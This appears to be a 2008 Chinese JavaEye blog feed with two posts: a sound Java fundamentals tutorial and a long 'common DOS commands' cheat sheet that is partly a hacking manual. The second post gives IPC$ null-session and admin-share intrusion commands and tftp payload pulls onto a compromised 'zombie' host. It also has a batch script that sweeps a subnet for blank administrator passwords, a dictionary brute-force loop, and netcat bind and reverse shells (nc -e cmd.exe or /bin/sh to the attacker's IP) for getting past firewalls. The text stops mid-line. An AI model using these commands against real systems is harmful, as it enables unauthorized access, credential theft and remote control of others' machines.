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    <title>学习java的备忘录</title>
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    <link>http://sunwinds1900.javaeye.com</link>
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    <copyright>Copyright 2003-2008, JavaEye.com</copyright>
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        <title>Java基础问题</title>
        <author>sunwinds1900</author>
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          作者: <a href="http://sunwinds1900.javaeye.com">sunwinds1900</a>&nbsp;
                    链接：<a href="http://sunwinds1900.javaeye.com/blog/195723" style="color:red;">http://sunwinds1900.javaeye.com/blog/195723</a>&nbsp;
          发表时间: 2008年05月22日
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          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
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          问题一：我声明了什么！<br /><br />　　String s = "Hello world!";<br /><br />　　许多人都做过这样的事情，但是，我们到底声明了什么？回答通常是：一个String，内容是“Hello world!”。这样模糊的回答通常是概念不清的根源。如果要准确的回答，一半的人大概会回答错误。<br /><br />　　这个语句声明的是一个指向对象的引用，名为“s”，可以指向类型为String的任何对象，目前指向 "Hello world!"这个String类型的对象。这就是真正发生的事情。我们并没有声明一个String对象，我们只是声明了一个只能指向String对象的引用变量。所以，如果在刚才那句语句后面，如果再运行一句：<br /><br />　　String string = s;<br /><br />　　我们是声明了另外一个只能指向String对象的引用，名为string，并没有第二个对象产生，string还是指向原来那个对象，也就是，和s指向同一个对象。<br /><br />　　问题二："=="和equals方法究竟有什么区别？<br /><br />　　==操作符专门用来比较变量的值是否相等。比较好理解的一点是：<br /><br />　　int a=10;<br /><br />　　int b=10;<br /><br />　　则a==b将是true。<br /><br />　　但不好理解的地方是：<br /><br />　　String a=new String("foo");<br /><br />　　String b=new String("foo");<br /><br />　　则a==b将返回false。<br /><br />　　根据前一帖说过，对象变量其实是一个引用，它们的值是指向对象所在的内存地址，而不是对象本身。a和b 都使用了new操作符，意味着将在内存中产生两个内容为"foo"的字符串，既然是“两个”，它们自然位于不同的内存地址。a和b的值其实是两个不同的内存地址的值，所以使用"=="操作符，结果会是false。诚然，a和b所指的对象，它们的内容都是"foo"，应该是“相等”，但是==操作符并不涉及到对象内容的比较。<br /><br />　　对象内容的比较，正是equals方法做的事。<br /><br />　　看一下Object对象的equals方法是如何实现的：<br /><br />　　boolean equals(Object o){<br /><br />　　return this==o;<br /><br />　　}<br /><br />　　Object对象默认使用了==操作符。所以如果你自创的类没有覆盖equals方法，那你的类使用 equals和使用==会得到同样的结果。同样也可以看出，Object的equals方法没有达到equals方法应该达到的目标：比较两个对象内容是否相等。因为答案应该由类的创建者决定，所以Object把这个任务留给了类的创建者。<br /><br />　　看一下一个极端的类：<br /><br />　　Class Monster{<br /><br />　　private String content;<br /><br />　　...<br /><br />　　boolean equals(Object another){ return true;}<br /><br />　　}<br /><br />　　我覆盖了equals方法。这个实现会导致无论Monster实例内容如何，它们之间的比较永远返回true。<br /><br />　　所以当你是用equals方法判断对象的内容是否相等，请不要想当然。因为可能你认为相等，而这个类的作者不这样认为，而类的equals方法的实现是由他掌握的。如果你需要使用equals方法，或者使用任何基于散列码的集合(HashSet, HashMap,HashTable)，请察看一下java doc以确认这个类的equals逻辑是如何实现的。<br /><br />　　问题三：String到底变了没有？<br /><br />　　没有。因为String被设计成不可变(immutable)类，所以它的所有对象都是不可变对象。请看下列代码：<br /><br />　　String s = "Hello";<br /><br />　　s = s + " world!";<br /><br />　　s所指向的对象是否改变了呢？从本系列第一篇的结论很容易导出这个结论。我们来看看发生了什么事情。在这段代码中，s原先指向一个String对象，内容是"Hello"，然后我们对s进行了+操作，那么s所指向的那个对象是否发生了改变呢？答案是没有。这时，s不指向原来那个对象了，而指向了另一个String对象，内容为"Hello world!"，原来那个对象还存在于内存之中，只是s这个引用变量不再指向它了。<br /><br />　　通过上面的说明，我们很容易导出另一个结论，如果经常对字符串进行各种各样的修改，或者说，不可预见的修改，那么使用String来代表字符串的话会引起很大的内存开销。因为String对象建立之后不能再改变，所以对于每一个不同的字符串，都需要一个 String对象来表示。这时，应该考虑使用StringBuffer类，它允许修改，而不是每个不同的字符串都要生成一个新的对象。并且，这两种类的对象转换十分容易。<br /><br />　　同时，我们还可以知道，如果要使用内容相同的字符串，不必每次都new一个String。例如我们要在构造器中对一个名叫s的String引用变量进行初始化，把它设置为初始值，应当这样做：<br /><br />　　public class Demo {<br /><br />　　private String s;<br /><br />　　...<br /><br />　　public Demo {<br /><br />　　s = "Initial Value";<br /><br />　　}<br /><br />　　...<br /><br />　　}<br /><br />　　而非<br /><br />　　s = new String("Initial Value");<br /><br />　　后者每次都会调用构造器，生成新对象，性能低下且内存开销大，并且没有意义，因为String对象不可改变，所以对于内容相同的字符串，只要一个String对象来表示就可以了。也就说，多次调用上面的构造器创建多个对象，他们的String类型属性s都指向同一个对象。 <br /><br />	上面的结论还基于这样一个事实：对于字符串常量，如果内容相同，Java认为它们代表同一个String对象。而用关键字new调用构造器，总是会创建一个新的对象，无论内容是否相同。<br /><br />至于为什么要把String类设计成不可变类，是它的用途决定的。其实不只String，很多Java标准类库中的类都是不可变的。在开发一个系统的时候，我们有时候也需要设计不可变类，来传递一组相关的值，这也是面向对象思想的体现。不可变类有一些优点，比如因为它的对象是只读的，所以多线程并发访问也不会有任何问题。当然也有一些缺点，比如每个不同的状态都要一个对象来代表，可能会造成性能上的问题。所以Java标准类库还提供了一个可变版本，即StringBuffer。<br /><br />问题四：final关键字到底修饰了什么？<br /><br />final使得被修饰的变量"不变"，但是由于对象型变量的本质是“引用”，使得“不变”也有了两种含义：引用本身的不变，和引用指向的对象不变。<br /><br />引用本身的不变：<br /><br />final StringBuffer a=new StringBuffer("immutable");<br /><br />final StringBuffer b=new StringBuffer("not immutable");<br /><br />a=b;//编译期错误<br /><br />引用指向的对象不变：<br /><br />final StringBuffer a=new StringBuffer("immutable");<br /><br />a.append(" broken!"); //编译通过<br /><br />可见，final只对引用的“值”(也即它所指向的那个对象的内存地址)有效，它迫使引用只能指向初始指向的那个对象，改变它的指向会导致编译期错误。至于它所指向的对象的变化，final是不负责的。这很类似==操作符：==操作符只负责引用的“值”相等，至于这个地址所指向的对象内容是否相等，==操作符是不管的。<br /><br />理解final问题有很重要的含义。许多程序漏洞都基于此----final只能保证引用永远指向固定对象，不能保证那个对象的状态不变。在多线程的操作中,一个对象会被多个线程共享或修改，一个线程对对象无意识的修改可能会导致另一个使用此对象的线程崩溃。一个错误的解决方法就是在此对象新建的时候把它声明为final，意图使得它“永远不变”。其实那是徒劳的。<br /><br />问题五：到底要怎么样初始化！<br /><br />本问题讨论变量的初始化，所以先来看一下Java中有哪些种类的变量。<br /><br />1. 类的属性，或者叫值域<br /><br />2. 方法里的局部变量<br /><br />3. 方法的参数<br /><br />对于第一种变量，Java虚拟机会自动进行初始化。如果给出了初始值，则初始化为该初始值。如果没有给出，则把它初始化为该类型变量的默认初始值。<br /><br />int类型变量默认初始值为0<br /><br />float类型变量默认初始值为0.0f<br /><br />double类型变量默认初始值为0.0<br /><br />boolean类型变量默认初始值为false<br /><br />char类型变量默认初始值为0(ASCII码)<br /><br />long类型变量默认初始值为0<br /><br />所有对象引用类型变量默认初始值为null，即不指向任何对象。注意数组本身也是对象，所以没有初始化的数组引用在自动初始化后其值也是null。<br /><br />对于两种不同的类属性，static属性与instance属性，初始化的时机是不同的。instance属性在创建实例的时候初始化， static属性在类加载，也就是第一次用到这个类的时候初始化，对于后来的实例的创建，不再次进行初始化。这个问题会在以后的系列中进行详细讨论。<br /><br />对于第二种变量，必须明确地进行初始化。如果再没有初始化之前就试图使用它，编译器会抗议。如果初始化的语句在try块中或if块中，也必须要让它在第一次使用前一定能够得到赋值。也就是说，把初始化语句放在只有if块的条件判断语句中编译器也会抗议，因为执行的时候可能不符合if后面的判断条件，如此一来初始化语句就不会被执行了，这就违反了局部变量使用前必须初始化的规定。但如果在else块中也有初始化语句，就可以通过编译，因为无论如何，总有至少一条初始化语句会被执行，不会发生使用前未被初始化的事情。对于try-catch也是一样，如果只有在try块里才有初始化语句，编译部通过。如果在catch或finally里也有，则可以通过编译。总之，要保证局部变量在使用之前一定被初始化了。所以，一个好的做法是在声明他们的时候就初始化他们，如果不知道要出事化成什么值好，就用上面的默认值吧！<br /><br />其实第三种变量和第二种本质上是一样的，都是方法中的局部变量。只不过作为参数，肯定是被初始化过的，传入的值就是初始值，所以不需要初始化。<br /><br />问题六：instanceof是什么东东？<br /><br />instanceof是Java的一个二元操作符，和==，>，&lt;是同一类东东。由于它是由字母组成的，所以也是Java的保留关键字。它的作用是测试它左边的对象是否是它右边的类的实例，返回boolean类型的数据。举个例子：<br /><br />String s = "I AM an Object!";<br /><br />boolean isObject = s instanceof Object;<br /><br />我们声明了一个String对象引用，指向一个String对象，然后用instancof来测试它所指向的对象是否是Object类的一个实例，显然，这是真的，所以返回true，也就是isObject的值为True。<br /><br />instanceof有一些用处。比如我们写了一个处理账单的系统，其中有这样三个类：<br /><br />public class Bill<br /><br />public class PhoneBill extends Bill<br /><br />public class GasBill extends Bill<br /><br />在处理程序里有一个方法，接受一个Bill类型的对象，计算金额。假设两种账单计算方法不同，而传入的Bill对象可能是两种中的任何一种，所以要用instanceof来判断：<br /><br />public double calculate(Bill bill) {<br /><br />if (bill instanceof PhoneBill)<br /><br />if (bill instanceof GasBill)<br /><br />...<br /><br />}<br /><br />这样就可以用一个方法处理两种子类。<br /><br />然而，这种做法通常被认为是没有好好利用面向对象中的多态性。其实上面的功能要求用方法重载完全可以实现，这是面向对象变成应有的做法，避免回到结构化编程模式。只要提供两个名字和返回值都相同，接受参数类型不同的方法就可以了：<br /><br />public double calculate(PhoneBill bill)<br /><br />public double calculate(GasBill bill)<br /><br />所以，使用instanceof在绝大多数情况下并不是推荐的做法，应当好好利用多态。
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        <pubDate>Thu, 22 May 2008 16:41:55 +0800</pubDate>
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        <title>DOS常用命令大全 </title>
        <author>sunwinds1900</author>
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          作者: <a href="http://sunwinds1900.javaeye.com">sunwinds1900</a>&nbsp;
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          发表时间: 2008年03月27日
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          net use \\ip\ipc$ " " /user:" " 建立IPC空链接<br />net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接<br />net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H:<br />net use h: \\ip\c$ 登陆后映射对方C：到本地为H:<br />net use \\ip\ipc$ /del 删除IPC链接<br />net use h: /del 删除映射对方到本地的为H:的映射<br />net user 用户名　密码　/add 建立用户<br />net user guest /active:yes 激活guest用户<br />net user 查看有哪些用户<br />net user 帐户名 查看帐户的属性<br />net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数<br />net start 查看开启了哪些服务<br />net start 服务名　 开启服务；(如:net start telnet， net start schedule)<br />net stop 服务名 停止某服务<br />net time \\目标ip 查看对方时间<br />net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息<br />net view 查看本地局域网内开启了哪些共享<br />net view \\ip 查看对方局域网内开启了哪些共享<br />net config 显示系统网络设置<br />net logoff 断开连接的共享<br />net pause 服务名 暂停某服务<br />net send ip "文本信息" 向对方发信息<br />net ver 局域网内正在使用的网络连接类型和信息<br />net share 查看本地开启的共享<br />net share ipc$ 开启ipc$共享<br />net share ipc$ /del 删除ipc$共享<br />net share c$ /del 删除C：共享<br />net user guest 12345 用guest用户登陆后用将密码改为12345<br />net password 密码 更改系统登陆密码<br />netstat -a 查看开启了哪些端口,常用netstat -an<br />netstat -n 查看端口的网络连接情况，常用netstat -an<br />netstat -v 查看正在进行的工作<br />netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况）<br />netstat -s 查看正在使用的所有协议使用情况<br />nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写<br />tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。<br />ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。<br />ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)<br />ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息<br />tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)<br />kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)<br />del -F 文件名加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件<br /><br />#2 二：<br /><br />del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同）<br />move 盘符\路径\要移动的文件名　存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖<br />fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向命令<br />at id号 开启已注册的某个计划任务<br />at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止<br />at id号 /delete 停止某个已注册的计划任务<br />at 查看所有的计划任务<br />at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机<br />finger username @host 查看最近有哪些用户登陆<br />telnet ip 端口 远和登陆服务器,默认端口为23<br />open ip 连接到IP（属telnet登陆后的命令）<br />telnet 在本机上直接键入telnet 将进入本机的telnet<br />copy 路径\文件名1　路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件<br />copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下<br />cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件<br />copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C：<br />xcopy 要复制的文件或目录树　目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件<br />tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将“IP”的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送<br />tftp -i 对方IP　put c:\server.exe 登陆后，上传本地c:\server.exe至主机<br />ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)<br />route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface<br />arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息<br />start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令<br />mem 查看cpu使用情况<br />attrib 文件名(目录名) 查看某文件（目录）的属性<br />attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性<br />dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间<br />date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间<br />set 指定环境变量名称=要指派给变量的字符 设置环境变量<br />set 显示当前所有的环境变量<br />set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量<br />pause 暂停批处理程序，并显示出：请按任意键继续....<br />if 在批处理程序中执行条件处理（更多说明见if命令及变量）<br />goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签）<br />call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?）<br />for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）<br />echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置<br />echo 信息 在屏幕上显示出信息<br />echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中<br />findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello<br />find 文件名 查找某文件<br />title 标题名字 更改CMD窗口标题名字<br />color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白<br />prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ )<br /><br />#3 三：<br /><br />ver 在DOS窗口下显示版本信息<br />winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）<br />format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS<br />md　目录名 创建目录<br />replace 源文件　要替换文件的目录 替换文件<br />ren 原文件名　新文件名 重命名文件名<br />tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称<br />type 文件名 显示文本文件的内容<br />more 文件名 逐屏显示输出文件<br />doskey 要锁定的命令＝字符<br />doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir=<br />taskmgr 调出任务管理器<br />chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误<br />tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口<br />exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe<br />path 路径\可执行文件的文件名 为可执行文件设置一个路径。<br />cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /?<br />regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示；<br />regedit /e 注册表文件名 导出注册表<br />cacls 文件名　参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。<br />cacls 文件名 查看文件的访问用户权限列表<br />REM 文本内容 在批处理文件中添加注解<br />netsh 查看或更改本地网络配置情况<br /><br />#4 四：<br /><br />IIS服务命令：<br />iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现）<br />iisreset /start或stop 启动（停止）所有Internet服务<br />iisreset /restart 停止然后重新启动所有Internet服务<br />iisreset /status 显示所有Internet服务状态<br />iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动<br />iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机<br />iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务<br />iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。<br />FTP 命令： (后面有详细说明内容)<br />ftp的命令行格式为:<br />ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。<br />－d 使用调试方式。<br />－n 限制ftp的自动登录,即不使用.netrc文件。<br />－g 取消全局文件名。<br />help [命令] 或 ？[命令] 查看命令说明<br />bye 或 quit 终止主机FTP进程,并退出FTP管理方式.<br />pwd 列出当前远端主机目录<br />put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中<br />get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中<br />mget [remote-files] 从远端主机接收一批文件至本地主机<br />mput local-files 将本地主机中一批文件传送至远端主机<br />dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件<br />ascii 设定以ASCII方式传送文件(缺省值)<br />bin 或 image 设定以二进制方式传送文件<br />bell 每完成一次文件传送,报警提示<br />cdup 返回上一级目录<br />close 中断与远程服务器的ftp会话(与open对应)<br />open host[port] 建立指定ftp服务器连接,可指定连接端口<br />delete 删除远端主机中的文件<br />mdelete [remote-files] 删除一批文件<br />mkdir directory-name 在远端主机中建立目录<br />rename [from] [to] 改变远端主机中的文件名<br />rmdir directory-name 删除远端主机中的目录<br />status 显示当前FTP的状态<br />system 显示远端主机系统类型<br />user user-name [password] [account] 重新以别的用户名登录远端主机<br />open host [port] 重新建立一个新的连接<br />prompt 交互提示模式<br />macdef 定义宏命令<br />lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录<br />chmod 改变远端主机的文件权限<br />case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母<br />cd remote－dir 进入远程主机目录<br />cdup 进入远程主机目录的父目录<br />! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip<br /><br />#5 五：<br /><br />MYSQL 命令：<br />mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。<br />（例：mysql -h110.110.110.110 -Uroot -P123456<br />注:u与root可以不用加空格，其它也一样）<br />exit 退出MYSQL<br />mysqladmin -u用户名 -p旧密码 password 新密码 修改密码<br />grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符）<br />show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。<br />use mysql；<br />show tables; 显示库中的数据表<br />describe 表名; 显示数据表的结构<br />create database 库名; 建库<br />use 库名；<br />create table 表名 (字段设定列表)； 建表<br />drop database 库名;<br />drop table 表名； 删库和删表<br />delete from 表名; 将表中记录清空<br />select * from 表名; 显示表中的记录<br />mysqldump --opt school>school.bbb 备份数据库：（命令在DOS的\\mysql\\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb 是一个文本文件，文件名任取，打开看看你会有新发现。<br />win2003系统下新增命令（实用部份）：<br />shutdown /参数 关闭或重启本地或远程主机。<br />参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。<br />例：shutdown /r /t 0 立即重启本地主机（无延时）<br />taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。<br />参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。<br />tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。<br />参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。<br /><br />#6 六：<br /><br />Linux系统下基本命令： 要区分大小写<br />uname 显示版本信息（同win2K的 ver）<br />dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir）<br />pwd 查询当前所在的目录位置<br />cd cd　..回到上一层目录，注意cd 与..之间有空格。cd　/返回到根目录。<br />cat 文件名 查看文件内容<br />cat >abc.txt 往abc.txt文件中写上内容。<br />more 文件名 以一页一页的方式显示一个文本文件。<br />cp 复制文件<br />mv 移动文件<br />rm 文件名 删除文件，rm -a 目录名删除目录及子目录<br />mkdir 目录名 建立目录<br />rmdir 删除子目录，目录内没有文档。<br />chmod 设定档案或目录的存取权限<br />grep 在档案中查找字符串<br />diff 档案文件比较<br />find 档案搜寻<br />date 现在的日期、时间<br />who 查询目前和你使用同一台机器的人以及Login时间地点<br />w 查询目前上机者的详细资料<br />whoami 查看自己的帐号名称<br />groups 查看某人的Group<br />passwd 更改密码<br />history 查看自己下过的命令<br />ps 显示进程状态<br />kill 停止某进程<br />gcc 黑客通常用它来编译C语言写的文件<br />su 权限转换为指定使用者<br />telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。<br />ftp ftp连接上某服务器（同win2K）<br /><br />附：批处理命令与变量<br /><br />1：for命令及变量 基本格式：<br />FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。<br />批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3<br /><br />(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1 }<br /><br />command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：&amp; 来隔开<br />command_parameters：为特定命令指定参数或命令行开关<br /><br />IN (set)：指在(set)中取值；DO command ：指执行command<br /><br />参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{ (set)为文件时，如(d:\pass.txt)时 }。<br />用法举例：<br />@echo off<br />echo 用法格式：test.bat *.*.* > test.txt<br /><br />for /L %%G in (1 1 254) do echo %1.%%G >>test.txt &amp; net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt<br />存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。<br /><br />/L 指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；&amp; 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。<br />@echo off<br />echo 用法格式：ok.bat ip<br />FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200<br />存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。<br /><br />#7 七：<br /><br />2：if命令及变量 基本格式：<br />IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为“真”。<br />例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。<br />0 指发现并成功执行（真）；1 指没有发现、没执行（假）。<br />IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就执行后面的命令。<br />例：“if "%2%"=="4" goto start”指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加" "）<br />IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。<br />例：“if not nc.exe goto end”指：如果没有发现nc.exe文件就跳到":end"标签处。<br />IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。当有del命令时需把del命令全部内容用&lt; >括起来，因为del命令要单独一行时才能执行，用上&lt; >后就等于是单独一行了；例如：“if exist test.txt. &lt;del test.txt.> else echo test.txt.missing ”，注意命令中的“.”<br /><br />（二）系统外部命令(均需下载相关工具)：<br /><br />1、瑞士军刀：nc.exe<br /><br />参数说明：<br />-h 查看帮助信息<br />-d 后台模式<br />-e prog程序重定向，一但连接就执行［危险］<br />-i secs延时的间隔<br />-l 监听模式，用于入站连接<br />-L 监听模式，连接天闭后仍然继续监听，直到CTR+C<br />-n IP地址，不能用域名<br />-o film记录16进制的传输<br />-p[空格]端口 本地端口号<br />-r 随机本地及远程端口<br />-t 使用Telnet交互方式<br />-u UDP模式<br />-v 详细输出，用-vv将更详细<br />-w数字 timeout延时间隔<br />-z 将输入，输出关掉（用于扫锚时）<br />基本用法：<br />nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口<br />nc -l -p 80 开启本机的TCP 80端口并监听<br />nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口<br />nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口<br />nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口<br />高级用法：<br />nc -L -p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止<br />nc -L -p 80 > c:\log.txt 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:\log.txt<br />nc -L -p 80 &lt; c:\honeyport.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中，亦可起到传送文件作用<br />type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用<br />本机上用：nc -l -p 本机端口<br />在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K<br />nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙<br />本机上用：nc -d -l -p 本机端口 &lt; 要传送的文件路径及名称<br />在对方主机上用：nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机<br />备 注：<br 